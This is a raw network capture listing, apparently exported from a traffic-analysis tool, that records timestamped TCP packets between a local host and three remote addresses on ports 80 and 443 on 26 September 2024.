Sep 26, 2024 12:12:30.940648079 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.940679073 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.940690994 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.940701008 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.940716982 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.940725088 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.940728903 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.940742016 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.940777063 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.940900087 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.940911055 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.940922022 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.940932989 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.940943956 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.940944910 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.940989971 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.941011906 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.941050053 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.941128016 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.941138983 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.941149950 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.941159964 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.941171885 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.941179991 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.941184044 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.941196918 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.941224098 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.941608906 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.941620111 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.941631079 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.941646099 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.941657066 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.941658974 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.941669941 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.941693068 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.941708088 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.946216106 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946233988 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946290016 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.946329117 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946341038 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946352959 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946369886 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946377993 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.946382046 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946393967 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946413040 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.946435928 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.946470022 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946511984 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946521997 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946537971 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.946538925 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946569920 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.946569920 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946582079 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946629047 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.946669102 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946677923 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946683884 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946695089 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946707010 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946717024 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.946717024 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946749926 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.946779966 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946789980 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946799994 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946820021 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.946826935 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946836948 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.946836948 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946851969 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946877003 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.946926117 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946937084 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946947098 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946955919 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.946968079 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.947000027 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.947093964 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947104931 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947115898 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947129011 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947139025 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947139025 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.947149992 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947156906 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.947163105 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947175026 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947202921 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.947236061 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947247028 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947257042 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947268009 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947278976 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947279930 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.947289944 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947314024 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.947436094 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947447062 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947459936 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947468042 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947479963 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.947504997 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.947663069 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947674036 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947684050 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947695017 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947705984 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947711945 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.947715998 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947726965 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947737932 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947748899 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947757959 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.947758913 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947771072 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947779894 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947786093 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.947793007 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947819948 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.947839022 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.947890043 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947901011 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947911978 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947921991 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947932005 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.947935104 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947947979 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947958946 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.947961092 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.948098898 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.948111057 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.948122025 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.948126078 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.948132992 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.948139906 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.948144913 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.948163986 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.948199034 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.948229074 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.948240042 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.948255062 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.948265076 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.948272943 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.948276043 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.948321104 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.948410034 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.948421001 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.948432922 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.948442936 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.948448896 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.948456049 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.948467016 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.948477983 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.948482990 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.948530912 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.948560953 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.948571920 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.948582888 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.948601007 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.948604107 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.948613882 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.948625088 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.948674917 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.948698997 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.988825083 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.033251047 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.033273935 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.033284903 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.033344030 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.033392906 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.033406019 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.033411980 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.033422947 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.033448935 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.033557892 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.033569098 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.033581018 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.033591986 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.033601046 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.033602953 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.033621073 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.033634901 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.033665895 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.033703089 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.033746004 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.033782959 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.033795118 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.033806086 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.033818007 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.033828974 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.033837080 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.033840895 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.033864975 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.033898115 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.034046888 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.034058094 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.034070015 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.034080029 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.034090996 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.034091949 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.034121990 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.034200907 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.034210920 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.034220934 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.034245968 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.034270048 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.038866997 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.038925886 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.038938046 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.038986921 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.039047003 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039089918 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.039094925 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039107084 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039139032 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.039179087 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039189100 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039199114 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039211035 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039222956 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.039247036 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.039319992 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039330006 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039340973 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039351940 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039397001 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.039417982 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039429903 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039444923 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039457083 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039482117 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.039525986 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.039577007 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039587021 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039597988 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039608955 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039616108 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039621115 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039627075 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.039632082 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039660931 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.039680958 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.039818048 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039865971 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039880037 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039890051 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039895058 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.039902925 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039916039 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039927006 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039928913 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.039958954 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.039962053 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039973974 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.039978981 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.039988995 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.040005922 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.040014982 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.040020943 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.040033102 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.040041924 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.040052891 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.040055990 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.040066004 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:31.040107012 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:31.040117025 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:34.206691980 CEST	49756	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:34.211767912 CEST	80	49756	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:34.211863995 CEST	49756	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:34.225068092 CEST	49756	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:34.230026007 CEST	80	49756	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:34.691225052 CEST	80	49756	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:34.696472883 CEST	49756	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:34.701400042 CEST	80	49756	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:34.917401075 CEST	80	49756	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:34.955339909 CEST	49757	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:34.955404997 CEST	443	49757	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:34.955511093 CEST	49757	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:34.960813999 CEST	49757	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:34.960840940 CEST	443	49757	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:34.973215103 CEST	49756	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:35.109006882 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:35.109072924 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:35.432440042 CEST	443	49757	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:35.432529926 CEST	49757	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:35.437153101 CEST	49757	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:35.437180042 CEST	443	49757	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:35.437639952 CEST	443	49757	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:35.482845068 CEST	49757	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:35.490010023 CEST	49757	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:35.535403013 CEST	443	49757	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:35.599410057 CEST	443	49757	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:35.599513054 CEST	443	49757	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:35.599566936 CEST	49757	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:35.602754116 CEST	49757	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:35.605993986 CEST	49756	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:35.612442017 CEST	80	49756	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:35.709687948 CEST	80	49756	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:35.711870909 CEST	49758	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:35.711910963 CEST	443	49758	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:35.713757992 CEST	49758	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:35.714025021 CEST	49758	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:35.714040041 CEST	443	49758	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:35.754432917 CEST	49756	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:36.174165010 CEST	443	49758	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:36.175832033 CEST	49758	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:36.175920010 CEST	443	49758	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:36.297894001 CEST	443	49758	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:36.298017979 CEST	443	49758	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:36.298188925 CEST	49758	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:36.298517942 CEST	49758	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:36.302505970 CEST	49756	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:36.304078102 CEST	49759	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:36.308473110 CEST	80	49756	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:36.308574915 CEST	49756	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:36.308963060 CEST	80	49759	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:36.309042931 CEST	49759	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:36.309256077 CEST	49759	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:36.316418886 CEST	80	49759	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:36.681210041 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:36.779025078 CEST	80	49759	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:36.780597925 CEST	49760	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:36.780662060 CEST	443	49760	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:36.780755043 CEST	49760	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:36.780965090 CEST	49760	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:36.780980110 CEST	443	49760	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:36.832585096 CEST	49759	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:37.272180080 CEST	443	49760	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:37.317001104 CEST	49760	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:37.424365997 CEST	49760	443	192.168.2.4	188.114.96.3
